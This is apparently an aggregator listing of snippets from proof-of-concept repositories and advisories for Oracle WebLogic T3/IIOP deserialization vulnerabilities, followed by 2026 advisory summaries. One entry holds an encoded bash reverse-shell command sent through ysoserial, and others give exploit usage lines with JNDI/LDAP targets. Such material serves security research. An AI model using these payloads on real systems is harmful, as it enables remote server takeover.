POC_CVE-2020-2555

POCCVE-2020-2555 poc for CVE-2020-2555 3 part: Client & Server: to build object and send to Server, trigger gadgetchain. Use it for build owner object. Attack: send object via T3 protocol with pwntools...

CVE-2023-21839

CVE-2023-21839 Analysis This vulnerability is caused by triggering the getReferent method of the bound object when calling the lookup or list method after binding an object via the t3 or iiop protocol. Call stack for t3 protocol: root@kitploit: getObjectInstance:96, WLNamingManager...

cve-2020-2555

CVE-2020-2555 Running Main.java will generate payload.ser in the current directory. This payload can be sent to the target server using the t3 protocol...

CVE-2018-3191

Weblogic-CVE-2018-3191 Remote Code Execution Vulnerability weblogic For Docker Environment 0x00 Introduction On October 17, Beijing time, Oracle's Critical Patch Update CPU for October fixed a high-risk WebLogic remote code execution vulnerability CVE-2018-3191. This vulnerability allows an...

CVE_2020_2546

Twitter: @Hktalent3135773 1、Weblogic RCE exploit CVE20202546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3 payload exploit poc python3 2、exploit GIOP + send bind CVE-2020-2555、CVE-2019-2888、CVE-2019-2888 or others GIOP + send jta rmi or others...

CVE-2022-21350

Why two POCs? One with com.51pwn.hktalent.CreatJar.mainargs; is used to create the minimal payload generation tool. After creation, use the other one. Running CVE-2022-21350powerBy51pwn.jar to build the payload, errors do not affect the use of the payload. other exp root@kitploit: CVE20202551...

Weblogic-CVE-2020-2551-To-Internet

Weblogic-CVE-2020-2551-To-Internet CVE-2020-2551 POC to use on the Internet Test POC can be used for external network testing python CVE-2020-2551.py HOST IP Attempt to modify codebase for remote class loading failed python CVE-2020-TEST.py HOST IP Discussion on weblogic CVE-2020-2551 vulnerabili...

Oracle WebLogic Server - Remote Code Execution

Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 contains a remote code execution caused by unauthenticated access via T3, IIOP, letting attackers take over the server, exploit requires network access. id: CVE-2021-2135 info: name: Oracle WebLogic Server - Remote Code Execution author:...

CVE-2019-2890

CVE-2019-2890 Clone code from https://github.com/v-gift/CVE-2019-2890 CVE-2019-2890 Exploit for WebLogic with T3...

woodpecker-plugins

woodpecker-plugins usage Copy the plugins to the woodpecker-framwork/plugin directory and start java -jar woodpecker-framework.1.3.3.jar from https://github.com/woodpecker-appstore weblogic-info check T3 isOpen: root@kitploit: echo 't3...

CVE-2018-3191

CVE-2018-3191 CVE-2018-3191 Reverse Shell Local IP: 172.16.38.1 WebLogic: 172.16.38.174:7001 1. Execute locally java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' Then...

CVE-2017-10271

LAB 2 - CVE-2017-10271: WebLogic XMLDecoder Deserialization Writeup I. System Analysis System Log Analysis Detected Service: Oracle WebLogic Server AdminServer belonging to basedomain running in Development Mode. Connection Port: 7001. Supported Protocols: http, t3, iiop, ldap, snmp. Attack Surfa...

CVE-2020-14645

CVE-2020-14645 Usage First, use NDI-Injection-Exploit to listen and generate an LDAP address. java -jar WeblogicT3.jar -Target 127.0.0.1 -Port 7001 -RMI ldap://127.0.0.1:1389/dozvtq --SSL -Target and -RMI are required. For HTTPS, use the --SSL parameter. -Port defaults to 7001. If compiling from...

CVE-2026-83030

Vulnerability in the Oracle Managed File Transfer product of Oracle Fusion Middleware component: MFT Runtime Server. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise...

CVE-2026-82997

Vulnerability in the Service Delivery Platform product of Oracle Fusion Middleware component: Messaging Enabler. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise Servi...

EUVD-2026-79612

Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain component: Event Java PX. The supported version that is affected is 9.3.6. Easily exploitable vulnerability allows high privileged attacker with network access via T3, IIOP to compromise Oracle Agile PLM. While the vulnerability...

PT-2026-92554

Vulnerability in the Oracle Managed File Transfer product of Oracle Fusion Middleware component: MFT Runtime Server. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise...

PT-2026-92481

Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware component: Core. Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to...

PT-2026-92521

Vulnerability in the Service Delivery Platform product of Oracle Fusion Middleware component: Messaging Enabler. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise Servi...

Oracle WebLogic Server (August 2026 CPU)

The 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 versions of WebLogic Server installed on the remote host are affected by multiple vulnerabilities as referenced in the August 2026 CPU advisory. - Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware component: Core...